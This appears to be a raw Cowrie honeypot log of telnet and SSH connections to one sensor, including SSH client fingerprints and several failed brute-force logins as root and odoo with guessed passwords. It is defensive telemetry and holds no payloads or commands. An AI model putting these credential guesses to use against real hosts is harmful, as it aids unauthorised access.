{"eventid":"cowrie.session.closed","duration":35.06573414802551,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:05.493988Z","src_ip":"135.148.33.91","session":"aef185a6e018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.465729236602783,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:06.617043Z","src_ip":"5.29.172.61","session":"5462ecd211a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":53260,"dst_ip":"159.203.135.109","dst_port":23,"session":"827c3dfcb0b1","protocol":"telnet","message":"New connection: 104.140.145.149:53260 (159.203.135.109:23) [session: 827c3dfcb0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:09.093163Z"}
{"eventid":"cowrie.session.closed","duration":0.004888772964477539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:09.097946Z","src_ip":"104.140.145.149","session":"827c3dfcb0b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.4206919670105,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:15.160109Z","src_ip":"45.58.127.90","session":"7a3336322b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38198,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff741895dc39","protocol":"telnet","message":"New connection: 135.148.33.91:38198 (159.203.135.109:23) [session: ff741895dc39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:16.790248Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33488,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5e771af9bb8","protocol":"ssh","message":"New connection: 161.248.189.72:33488 (10.17.0.5:22) [session: e5e771af9bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:28.807440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:28.811692Z","src_ip":"161.248.189.72","session":"e5e771af9bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:29.047848Z","src_ip":"161.248.189.72","session":"e5e771af9bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Change_123","message":"login attempt [root/Change_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:30.026360Z","src_ip":"161.248.189.72","session":"e5e771af9bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:31.267234Z","src_ip":"161.248.189.72","session":"e5e771af9bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53988,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0d2376ed446","protocol":"telnet","message":"New connection: 135.148.33.91:53988 (159.203.135.109:23) [session: d0d2376ed446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:37.674997Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55712,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cb5798e2c19","protocol":"telnet","message":"New connection: 135.148.33.91:55712 (159.203.135.109:23) [session: 7cb5798e2c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:38.236570Z"}
{"eventid":"cowrie.session.closed","duration":35.624929904937744,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:40.915560Z","src_ip":"135.148.33.91","session":"f49cd018888d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34230,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd7a5772bab5","protocol":"telnet","message":"New connection: 135.148.33.91:34230 (159.203.135.109:23) [session: cd7a5772bab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:48.398708Z"}
{"eventid":"cowrie.session.closed","duration":32.497002840042114,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:49.287142Z","src_ip":"135.148.33.91","session":"ff741895dc39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":54820,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3fe8cab8b1","protocol":"telnet","message":"New connection: 104.140.145.149:54820 (159.203.135.109:23) [session: 5f3fe8cab8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:29:50.822480Z"}
{"eventid":"cowrie.session.closed","duration":32.054118394851685,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:09.728892Z","src_ip":"135.148.33.91","session":"d0d2376ed446","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.40955972671509,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:11.646019Z","src_ip":"135.148.33.91","session":"7cb5798e2c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49232,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd36242e0358","protocol":"telnet","message":"New connection: 135.148.33.91:49232 (159.203.135.109:23) [session: dd36242e0358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:14.511271Z"}
{"eventid":"cowrie.session.closed","duration":30.216023921966553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:21.038399Z","src_ip":"104.140.145.149","session":"5f3fe8cab8b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91170907020569,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:23.310294Z","src_ip":"135.148.33.91","session":"cd7a5772bab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57912,"dst_ip":"159.203.135.109","dst_port":23,"session":"10151756f518","protocol":"telnet","message":"New connection: 135.148.33.91:57912 (159.203.135.109:23) [session: 10151756f518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:28.596474Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33558,"dst_ip":"10.17.0.5","dst_port":22,"session":"69cc1860a6df","protocol":"ssh","message":"New connection: 161.248.189.72:33558 (10.17.0.5:22) [session: 69cc1860a6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:31.435177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:31.441514Z","src_ip":"161.248.189.72","session":"69cc1860a6df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:31.686160Z","src_ip":"161.248.189.72","session":"69cc1860a6df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd12345","message":"login attempt [root/Pa$$w0rd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:32.684649Z","src_ip":"161.248.189.72","session":"69cc1860a6df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:33.930603Z","src_ip":"161.248.189.72","session":"69cc1860a6df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36108,"dst_ip":"159.203.135.109","dst_port":23,"session":"395378bd8f8f","protocol":"telnet","message":"New connection: 135.148.33.91:36108 (159.203.135.109:23) [session: 395378bd8f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:38.544777Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6155551c742","protocol":"telnet","message":"New connection: 135.148.33.91:41108 (159.203.135.109:23) [session: b6155551c742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:47.221787Z"}
{"eventid":"cowrie.session.closed","duration":33.57485246658325,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:30:48.085968Z","src_ip":"135.148.33.91","session":"dd36242e0358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34056305885315,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:03.936930Z","src_ip":"135.148.33.91","session":"10151756f518","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51968789100647,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:11.064346Z","src_ip":"135.148.33.91","session":"395378bd8f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55574,"dst_ip":"159.203.135.109","dst_port":23,"session":"463207ac773a","protocol":"telnet","message":"New connection: 135.148.33.91:55574 (159.203.135.109:23) [session: 463207ac773a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:13.329230Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56060,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c3bc0c2a864","protocol":"telnet","message":"New connection: 135.148.33.91:56060 (159.203.135.109:23) [session: 9c3bc0c2a864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:14.135221Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56748,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3398fb0adca","protocol":"telnet","message":"New connection: 135.148.33.91:56748 (159.203.135.109:23) [session: b3398fb0adca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:14.273197Z"}
{"eventid":"cowrie.session.closed","duration":35.13355326652527,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:22.355209Z","src_ip":"135.148.33.91","session":"b6155551c742","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36456,"dst_ip":"159.203.135.109","dst_port":23,"session":"0671a98ef1fe","protocol":"telnet","message":"New connection: 135.148.33.91:36456 (159.203.135.109:23) [session: 0671a98ef1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:27.535554Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33634,"dst_ip":"10.17.0.5","dst_port":22,"session":"82c591c15d9c","protocol":"ssh","message":"New connection: 161.248.189.72:33634 (10.17.0.5:22) [session: 82c591c15d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:31.965584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:31.971083Z","src_ip":"161.248.189.72","session":"82c591c15d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:32.209020Z","src_ip":"161.248.189.72","session":"82c591c15d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:33.185619Z","src_ip":"161.248.189.72","session":"82c591c15d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:34.424723Z","src_ip":"161.248.189.72","session":"82c591c15d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44770,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed67ba0e8b6","protocol":"telnet","message":"New connection: 135.148.33.91:44770 (159.203.135.109:23) [session: fed67ba0e8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:42.810078Z"}
{"eventid":"cowrie.session.closed","duration":33.34146761894226,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:46.670622Z","src_ip":"135.148.33.91","session":"463207ac773a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.025357246398926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:48.160482Z","src_ip":"135.148.33.91","session":"9c3bc0c2a864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27676248550415,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:31:49.549844Z","src_ip":"135.148.33.91","session":"b3398fb0adca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78188633918762,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:00.317319Z","src_ip":"135.148.33.91","session":"0671a98ef1fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55788,"dst_ip":"159.203.135.109","dst_port":23,"session":"5818eb474525","protocol":"telnet","message":"New connection: 135.148.33.91:55788 (159.203.135.109:23) [session: 5818eb474525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:02.089377Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":51485,"dst_ip":"10.17.0.5","dst_port":23,"session":"b73f386a81ee","protocol":"telnet","message":"New connection: 49.88.156.34:51485 (10.17.0.5:23) [session: b73f386a81ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:07.902207Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59438,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ec3bf3c9934","protocol":"telnet","message":"New connection: 135.148.33.91:59438 (159.203.135.109:23) [session: 5ec3bf3c9934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:08.652285Z"}
{"eventid":"cowrie.session.closed","duration":34.55084824562073,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:17.360803Z","src_ip":"135.148.33.91","session":"fed67ba0e8b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e512af3a5cdf","protocol":"telnet","message":"New connection: 135.148.33.91:37742 (159.203.135.109:23) [session: e512af3a5cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:20.384652Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39426,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e6682341503","protocol":"telnet","message":"New connection: 135.148.33.91:39426 (159.203.135.109:23) [session: 6e6682341503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:24.341521Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44874,"dst_ip":"159.203.135.109","dst_port":23,"session":"392507190ab1","protocol":"telnet","message":"New connection: 135.148.33.91:44874 (159.203.135.109:23) [session: 392507190ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:32.527128Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44976,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a316ab0501","protocol":"telnet","message":"New connection: 135.148.33.91:44976 (159.203.135.109:23) [session: 90a316ab0501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:32.671023Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33712,"dst_ip":"10.17.0.5","dst_port":22,"session":"b648f2576b68","protocol":"ssh","message":"New connection: 161.248.189.72:33712 (10.17.0.5:22) [session: b648f2576b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:33.594088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:33.598906Z","src_ip":"161.248.189.72","session":"b648f2576b68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:33.833979Z","src_ip":"161.248.189.72","session":"b648f2576b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123zxcZXC","message":"login attempt [root/123zxcZXC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:34.808941Z","src_ip":"161.248.189.72","session":"b648f2576b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:36.048381Z","src_ip":"161.248.189.72","session":"b648f2576b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.616973876953125,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:32:37.706224Z","src_ip":"135.148.33.91","session":"5818eb474525","protocol":"telnet"}
